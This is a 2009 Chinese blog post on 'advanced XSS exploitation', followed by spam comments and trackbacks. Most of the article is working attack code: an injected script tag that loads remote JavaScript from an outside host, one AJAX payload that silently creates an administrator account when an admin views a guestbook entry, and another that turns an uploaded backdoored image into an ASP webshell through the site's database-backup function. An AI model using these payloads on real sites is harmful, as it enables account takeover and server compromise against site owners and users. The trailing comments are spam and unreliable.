RSS

xss的高级利用

This entry was posted on Oct 14 2009

作者:cnryan
来源:http://hi.baidu.com/cnryan

以往对XSS的利用大多数都是针对于挂马,钓鱼,盗cookie等,这些方式并没有真正发挥到XSS的作用,因为很少人能了解XSS的实质,会话劫持,浏览器劫持,XSS能做到的东西远远超乎我们的想象。

一 XSS下提升权限
随着AJAX技术在许多大型SNS网站的应用,XSS也变得愈加流行,在XSS场景下运用AJAX能更有效地发挥它的作用。
用户输入的地方最容易滋生XSS,譬如留言、评论等表单,我搭建了一个sdbook的留言本,因为sdbook没有对用户输入的变量作出合适的过滤,导致一个XSS的产生。
留言率先传递给管理员,当作javascript劫持,我们就可以利用管理员的权限做任何事情,例如添加一个管理员。

xss-advanced-use-of1

在留言内容输入跨站代码:

1
<script>s=document.createElement("script");s.src="http://www.xss.com/xss.js";document.getElementsByTagName("head")[0].appendChild(s);</script>

这段代码用来加载远程的JS,而xss.js的内容是利用xmlHttp对象发送一个异步请求,通过XMLHTTP无刷新提交到服务器端,模拟添加一个管理员。

先用Firebug监视网络传输的情况,主要是获取添加admin时post的数据。

xss-advanced-use-of2

然后构造ajax代码
xss.js代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}
xmlhttp=request; 
 
add_admin(); 
function add_admin(){
var url="/sdbook/admin/AdminUser/adminUser_Add.asp";
var params ="UserName=cnryan&password1=123456&password2=123456Purview=%B9%DC%C0%ED%D4%B1&Submit=%CC%E1%BD%BB";   
xmlhttp.open("POST", url, true); 
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("Content-length", params.length);
xmlhttp.setRequestHeader("Connection", "close");
xmlhttp.send(params);
}

当admin查看带有XSS的留言时,就会在后台悄悄地添加一个管理员,帐户为cnryan,密码是123456,最后我们就能获得整个网站用户的最高权限。

再来了解下这个留言本的场景,最初只有admin可以查看留言,也就只有admin受到XSS,当内容通过审核,发布到网站,此时所有的web浏览用户都有可能受到XSS,我们能获得更多的会话劫持,利用这些会话甚至可能对服务器发起XSS DOS。

二 XSS获取webshell

为什么要用AJAX,首先它够隐秘,也就是所谓的“无刷新”,其次,它能更有效地迅速处理各种复杂多变的数据。

了解到以上例子的流程与代码,你是否会有不一样的想法呢?
我们不防想一想如何把网站的webshell拿下。

这里有两点必要的条件,前者是在其后台要有一定拿shell的功能,如备份数据库,向配置信息插马等,后者是我们要知道如网站路径,默认数据库等信息,对于许多网站都是存在这些缺陷的。

xss-advanced-use-of3

以备份数据库拿webshell为例,这个站点有上传头像的权限,并记录我们的地址:UploadFace\20090901.jpg,图片写有后门,然后在白盒的测试环境下记录POST的数据,构造AJAX代码写入远程的JS,最后在该站的XSS点植入JS。

其代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}
xmlhttp=request; 
 
getshell(); 
function getshell(){
var postStr ="DBpath=UploadFace%5C20090901.jpg&bkfolder=Databackup&bkDBname=shell.asp";   
xmlhttp.open("POST", "/ADMIN_data.asp?action=BackupData&act=Backup", true); 
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("Content-length", postStr.length);
xmlhttp.setRequestHeader("Connection", "close");
xmlhttp.send(postStr);
}

上述代码是我测试一个开源程序写的,不同的程序不尽相同,但大体相似。
getshell()函数的作用就是把UploadFace\20090901.jpg备份为Databackup目录下的shell.asp。

xss-advanced-use-of4

一切利用的前提就是该站具有XSS,并能成功把构造代码注入到后台,只要管理员不经意触发了这个xss Trap,我们就能拿到webshell。

三 基于开源的Xss Hacking

以上事例都是在针对于白盒环境下测试的,很多问题都是基于理论的,在真实环境下利用XSS渗透是会有一定的难度,但仍是有办法的,XSS的核心在于灵活多变,这也是它倍受追捧的原因,关于XSS渗透可以去看jianxin的文章。

XSS热潮已至,相信各位渗透师,跨站师们势必会把XSS的威力发挥到极致。

相关资料:

http://www.80sec.com/xss-how-to-root.html

http://www.80sec.com/browser-hijacking.html

http://hi.baidu.com/aullik5/blog/item/6947261e7eaeaac0a7866913.html

Chinese (Simplified) flagItalian flagKorean flagChinese (Traditional) flagPortuguese flagEnglish flagGerman flagFrench flagSpanish flagJapanese flagArabic flagRussian flagGreek flagDutch flagBulgarian flagCzech flagCroatian flagDanish flagFinnish flagHindi flagPolish flagRomanian flagSwedish flagNorwegian flagCatalan flagFilipino flagHebrew flagIndonesian flagLatvian flagLithuanian flagSerbian flagSlovak flagSlovenian flagUkrainian flagVietnamese flagAlbanian flagEstonian flagGalician flagMaltese flagThai flagTurkish flagHungarian flag


167 Responses to “xss的高级利用”

  1. Меня товарищи зовут отмечать новогодние праздники за границей. При чём не просто за границей, а на море, в Египте! По идее всё для этого есть, и финансовая возможность и действующий загранпаспорт. Пишу это не с целью похвастаться. Хочется посоветоваться с теми, у кого есть опыт встречи Нового года в тёплых краях. Как это вообще? Я, по правде говоря очень себе плохо представляю новый год без снега и маленькой ёлочки, ледяных горок и детского смеха, Медведева по ТВ за 5 мин до курантов, бутылки водки и немеренного количества мандаринов. А что взамен этого может мне дать Египет? По правде говоря, не был там ни разу, и желание полежать на горячем египетском песочке имеется. Но не думал делать это именно в Новый Год.
    Что посоветуете? Как мне быть???


  2. Спешу поделиться новостью: обмен Яндекс.Денег на Вебмани и обратно больше официально не производится. Не знаю, какая их собака укусила, но сейчас обмен практически невозможен. Все крупные обменники, коими я пользовался переводы в данных направлениях просто не осуществляют. Порой приходилось с ЯД на WM переводить немалые суммы. И что теперь делать, ума не приложу.
    Хорошо наверное тем, кто не пользуется электронной валютой, а по старинке - банковскими операциями, платёжками по факсу и тд)))


  3. GGwerK qoaklqxhsdsr, [url=http://wejyehsuhjld.com/]wejyehsuhjld[/url], [link=http://mwtvqshadsek.com/]mwtvqshadsek[/link], http://cczaibivgvlv.com/


  1. 164 Trackback(s)

  2. door repair Van Cortlandt Village NY
  3. baby diapers
  4. site security services
  5. cheap plantation shutters
  6. cheap appliances store
  7. LCD tv
  8. treadmills
  9. Accident news blog
  10. Golf For Beginners
  11. drink guy
  12. Homer Somsy
  13. dove soap coupons
  14. Christal Europe
  15. australian government grants
  16. online public relations
  17. nintendo wii
  18. articles abortion
  19. love film promotional code
  20. Brice Bulgrin
  21. psychic sally
  22. Anti Aging
  23. Informative
  24. office equipment
  25. set up mobile email
  26. london photocopiers
  27. discount office equipment
  28. natural swimming pools
  29. montregps.org
  30. vélo enfant
  31. hoodia diet
  32. tin ceiling panels
  33. office equipment
  34. unlocked t-mobile cell phones
  35. office photocopier
  36. cardiofrequencemetre
  37. finding a notary
  38. white ceramic watch
  39. cliquez ici
  40. white ceramic watches
  41. rsms visa consultants in adelaide
  42. cliquez ici
  43. four micro onde
  44. Highscore Games
  45. facebook like exchange
  46. 1932 s washington quarter
  47. Self Help
  48. Legal Aid Services San Jose
  49. car accident lawyer bellevue
  50. Motivational Speaking And Internet Marketing
  51. DUI Lawyer Nashville
  52. discount ricoh aficio
  53. heating spares
  54. naples florida real estate
  55. buy pepper spray
  56. automatic watch
  57. michael kors ceramic watch
  58. invicta skeleton watch
  59. A TV Repair Guy
  60. montre hello kitty
  61. report
  62. cliquez ici
  63. John
  64. paul
  65. promotional ties
  66. plumber maidstone
  67. appropriate Jewelry
  68. http://www.skeletonwatchmart.com/skeleton-watches/
  69. photocopiers kent
  70. Top Audio Interface
  71. tente de camping
  72. http://www.autoradiogps.fr/
  73. ici
  74. bottes pas cher
  75. site
  76. white watch
  77. friteuse sans huile seb
  78. http://colombianossinfronteras.org/index.php/2011/11/check-out-the-new-iron-man-3/
  79. reflex numerique
  80. echelle telescopique
  81. liquid hoodia
  82. More Information
  83. robot menager
  84. Bob
  85. lit parapluie leclerc
  86. plancha gaz pas cher
  87. Degenerative Joint Disease
  88. tireuse à bière
  89. montres femmes
  90. sac à main pas cher
  91. automatic watches
  92. gps moto
  93. robot multifonction
  94. trampoline avec filet pas cher
  95. designer jewelry
  96. piscine autoportante pas cher
  97. telephone fixe pas cher
  98. casque audio sans fil
  99. disque dur externe pas cher
  100. cliquez ici
  101. telephone fixe sans fil
  102. imprimante laser couleur
  103. sacoche homme cuir
  104. tables basses design
  105. white watches for women
  106. decodeur tnt hd
  107. http://www.montres-homme.org/
  108. montre automatique
  109. aspirateur balai
  110. Carrier Parts
  111. aspirateur silencieux et puissant
  112. Buy Facebook Fans
  113. barbecue gaz
  114. balai vapeur
  115. Patrick
  116. cuiseurvapeur.org
  117. barriere de securite
  118. barbecue weber electrique
  119. ceramic watches
  120. friteuse sans huile
  121. Waterside Plaza NY emergency locksmith
  122. Iron Man 3
  123. Warlock Guide
  124. trampoline avec filet pas cher
  125. my url
  126. Iron Man 3
  127. siege auto bebe
  128. Lucie
  129. montre gps garmin
  130. cafetiere expresso delonghi
  131. friteuse electrique sans huile
  132. trampoline pas cher
  133. planchaelectrique.net
  134. coffee
  135. wet basements in Iron City OH
  136. Good Reasons to Give Personalize Jewelry
  137. Iron Man 3
  138. mediterranean diet weight loss
  139. TUV Rheinland Safety
  140. Finding the Best Deal on Jewelry Watches
  141. rasoir electrique
  142. Sell My Gold Jewelry Ontario
  143. wartrol does it work
  144. standing liberty quarter dollar
  145. adult social networking
  146. mediterranean diet pyramid
  147. wartrol price
  148. iPhone 5 Release Date
  149. Great Clips Omaha Coupons
  150. Great Clips Coupons Wyoming
  151. Kamasz
  152. Inexpensive LED Light Bulbs
  153. Garmin 1490t GPS
  154. iPhone 5
  155. Great Clips Coupons Alpine
  156. Great Clips Coupons Alabama
  157. Barátokat Keresek
  158. Great Clips Coupons Denver
  159. Lower Back Extensions
  160. dog bedding
  161. church chairs
  162. lose weight fast
  163. fxo
  164. közösségi portálok
  165. SEO Company

You must be logged in to post a comment.